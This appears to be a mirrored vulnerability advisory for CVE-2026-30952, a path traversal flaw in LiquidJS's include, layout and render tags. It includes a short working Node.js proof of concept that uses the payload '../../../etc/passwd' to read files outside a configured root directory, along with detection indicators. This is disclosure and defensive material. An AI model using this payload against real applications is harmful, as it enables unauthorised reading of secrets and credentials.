LiquidJS Template Engine Path Traversal — CVE-2026-30952

Metadata

Affected Target

Summary

LiquidJS’s layout, render, and include tags can resolve absolute file paths even when a root directory restriction is configured, because the library’s fallback path-resolution logic does not properly verify that the resolved path stays within the configured root. An attacker who can influence the variable passed to one of these tags (e.g. via a data-driven include) can supply a relative-traversal path such as ../../../etc/passwd, causing LiquidJS to read and render the contents of an arbitrary file on the host filesystem — even though a root/partials restriction was explicitly configured.

Vulnerability Details

Root Cause

LiquidJS’s tag resolution for layout/render/include falls back to treating attacker-supplied path variables as directly resolvable paths without confirming the final resolved path remains within the configured root/partials directories, allowing ../ traversal sequences to escape the sandbox.

Attack Vector

1. Application uses LiquidJS with a root/partials restriction (e.g. new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true })), intending to scope template includes to a safe directory.
2. Attacker controls (directly or indirectly) the value passed as the page variable used in a template such as {% include page %}.
3. Attacker supplies a traversal path, e.g. ../../../etc/passwd, as the value of page.
4. LiquidJS resolves and reads the file outside the configured root, returning its contents in the rendered output.

Impact

Arbitrary file read/disclosure on the host filesystem in any application that renders LiquidJS templates with attacker-influenced layout/render/include variables, potentially exposing secrets, configuration, or credentials.

Environment / Lab Setup

Target:   Node.js application using liquidjs@10.24.0 (or earlier < 10.25.0)
Attacker: Node.js runtime to run exploit.js

Proof of Concept

PoC Script

See exploit.js and package.json in this folder.

1
2
3

npm install liquidjs@10.24.0
npm install
node exploit.js

1
2
3

const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

The exploit configures LiquidJS with a root/partials restriction, then renders a template whose include target is attacker-controlled and set to a traversal path, printing the contents of /etc/passwd despite the configured sandbox.

Detection & Indicators of Compromise

Signs of compromise:

• Template rendering output containing unexpected file contents (e.g. /etc/passwd-style data) instead of expected partials
• Application-layer input containing ../ traversal sequences in fields later used as template include/layout variables
• Anomalous filesystem read access by the Node.js process outside its expected template directories

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/MorielHarush/CVE-2026-30952-PoC on 2026-07-05.